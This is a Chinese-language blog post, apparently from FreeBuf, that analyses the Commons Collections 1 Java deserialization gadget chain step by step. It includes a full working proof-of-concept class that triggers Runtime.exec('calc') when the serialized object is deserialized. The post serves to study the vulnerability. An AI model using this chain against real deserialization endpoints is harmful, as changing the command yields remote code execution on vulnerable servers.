niknikni
- 关注
CommonsCollections1
这里面会涉及到java的一些知识,比如Transformer、ChainedTransformer、动态代理,相关知识点在之前的文章里面
简化CommonsCollections1分析
Transformer链
我们先通过正常情况来分析ChainedTransformer、LazyMap、AnnotationInvocationHandler之间是如何构成链,造成命令执行
第一步构造了Transformer链,准备通过ChainedTransformer进行链式调用,关于这两个函数在反射章节已经讲过。
这里transformers第一条链的参数Runtime.class, 而不是Runtime.getRuntime,这是涉及到反序列化的操作,因为Runtime类没有实现Serializable,所以只能通过class一步步构造
/**
* 1、构成transformer利用链
*/
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
LazyMap.decorate和LazyMap.get
/**
* ? 如何调用ChainedTransformer.transform
* layMap.get会执行this.factory.transform(key)
* factory是由LazyMap.decorate静态方法传入
* 2、生成layMap
*/
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
这里用到了LazyMap.decorate
先来看为什么用LazyMap
LazyMap的get方法调用了this.factory.transform(key),而this.factory又可以通过构造函数传进来,同时this.factory又是Transformer类型,这就符合我们的要求
执行LazyMap.get == ChainedTransformer.transform关于decorate,我们可以看见LazyMap的构造函数是protected,不是public不能new,而decorate是静态方法并且能帮我们创建LazyMap对象
AnnotationInvocationHandler
如何调用 lazyMap.get
这里需要用到java的动态代理,关于动态代理的特性在java代理章节里面有讲
/**
* ? 如何调用 lazyMap.get
* AnnotationInvocationHandler下面的invoke方法会执行this.memberValues.get(var4);
* 同时这个 memberValues 是 final Map<String, Object>类型,并且 memberValues是在实例化的时候传进去的
* 这和我们调用 lazyMap.get有什么关系,这要说到java的动态代理机制(具体内容请查看其知识点)以及为什么代理过后能去执行这个invoke
* 自定义的 handler需要实现InvocationHandler,而 AnnotationInvocationHandler 又恰巧实现了 InvocationHandler, Serializable 接口
*
* 3、使用代理触发 lazyMap.get,创建 AnnotationInvocationHandler,该类不是 public,我们用反射来动态创建他
* 并且创建代理要满足几个点:
* 一个实现InvocationHandler类,用作代理执行的操作
* 一个被代理的类
* 3.1创建一个实现InvocationHandler类
*/
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler myInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
排除我们命令执行的要求,首先创建动态代理要准备一个代理handler,该类要实现InvocationHandler接口,还需准备一个要被代理的类
该类AnnotationInvocationHandler在jdk的jar包下面可找到,并且该类满足我们的需求:实现InvocationHandler接口,并且可以被序列化,光满足handler的要求还不行,还要想办法能去执行lazyMap.get方法
构造函数里面允许传递一个map对象并保存为自身的成员变量memberValues,并且该构造方法不是public,如果我们要使用就需要用反射才能实例化他
分析invoke方法看看能不能有机会去调用memberValues
第59行处this.memberValues.get(var4);是有调用的,在调用之前有一堆判断条件,这里先不急分析他的判断条件
首先我们找到符合要求的AnnotationInvocationHandler,而被代理的对象是map对象,为什么,因为被代理的类要去适配AnnotationInvocationHandler,该类不管是从构造函数还是invoke都是对map对象进行处理,这是显而易见的事情。
其次lazyMap在我们创建 AnnotationInvocationHandler的时候就已经传入进去作为他的成员变量,并且会在invoke方法里面去执行get方法,也就是说,后面只需要代理任意map对象,对其进行操作就会触发invoke从而执行lazyMap.get方法,形成一条链路
AnnotationInvocationHandler invoke
完成代理的创建
下面就是正常创建动态代理的步骤
这时候我们随便调用一个方法,看看能不能触发invoke里面的lazyMap.get
/**
* 3.2生成一个被代理的类
*/
final Map testMap = new HashMap();
/**
* 4 注册代理
*/
Map evilMap = (Map) Proxy.newProxyInstance(
testMap.getClass().getClassLoader(),
testMap.getClass().getInterfaces(),
myInvocationHandler
);
能成功进行命令执行,并且AnnotationInvocationHandler里面invoke方法下的if,switch判断并没有对我们造成影响
使用序列化方式触发
到这里成功了一半,别忘了我们要通过反序列化来执行,前面构造这么多都是为了反序列化做铺垫
反序列化对象还是用到AnnotationInvocationHandler类,可以看出这个类很强大,该类实现了Serializable,还重写了readObject,并且能看见在readObject的时候是有调用memberValues的,所以我们可以把memberValues设置为代理类,当调用entrySet方法时触发代理类的invoke方法。
payload
package ysoserial.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.test.util.MySerialize;
import java.io.IOException;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws Exception {
/**
* 1、构成transformer利用链
*/
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
/**
* ? 如何调用ChainedTransformer.transform
* layMap.get会执行this.factory.transform(key)
* factory是由LazyMap.decorate静态方法传入
* 2、生成layMap
*/
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
/**
* ? 如何调用 lazyMap.get
* AnnotationInvocationHandler下面的invoke方法会执行this.memberValues.get(var4);
* 同时这个 memberValues 是 final Map<String, Object>类型,并且 memberValues是在实例化的时候传进去的
* 这和我们调用 lazyMap.get有什么关系,这要说到java的动态代理机制(具体内容请查看其知识点)以及为什么代理过后能去执行这个invoke
* 自定义的 handler需要实现InvocationHandler,而 AnnotationInvocationHandler 又恰巧实现了 InvocationHandler, Serializable 接口
*
* 3、使用代理触发 lazyMap.get,创建 AnnotationInvocationHandler,该类不是 public,我们用反射来动态创建他
* 并且创建代理要满足几个点:
* 一个实现InvocationHandler类,用作代理执行的操作
* 一个被代理的类
* 3.1创建一个实现InvocationHandler类
*/
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler myInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
/**
* 3.2生成一个被代理的类
*/
final Map testMap = new HashMap();
/**
* 4 注册代理
*/
Map evilMap = (Map) Proxy.newProxyInstance(
testMap.getClass().getClassLoader(),
testMap.getClass().getInterfaces(),
myInvocationHandler
);
final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
ctor.setAccessible(true);
final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);
byte[] serializeData= MySerialize.serialize(handler);
MySerialize.unserialize(serializeData);
}
}
细节
为什么传给 ConstantTransformer 的是 Runtime.class,而不直接传入 Runtime.getRuntime()
这是因为在 Java 反序列化中,需要反序列化的对象必须实现java.io.Serializable
接口,而Runtime
类并没有实现该接口,所以这里得用反射的方式获取Runtime
对象,而 POC 当中的Runtime.class
是java.lang.Class
对象,该类实现了java.io.Serializable
接口。关于jdk版本问题
在调试该利用链的时候 JDK 版本必须小于8u71,因为在之后的版本中AnnotationInvocationHandler:readObject
已经被官方修改了。为什么构建AnnotationInvocationHandler类是用反射的方法
因为AnnotationInvocationHandler的构造方法修饰符限制问题,该类正常调用时最多只能在同一个包中调用,所以用反射方法创建实例为什么AnnotationInvocationHandler创建两次实例
一次是生成代理类,一次是生成反序列化对象,职责不太一样
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)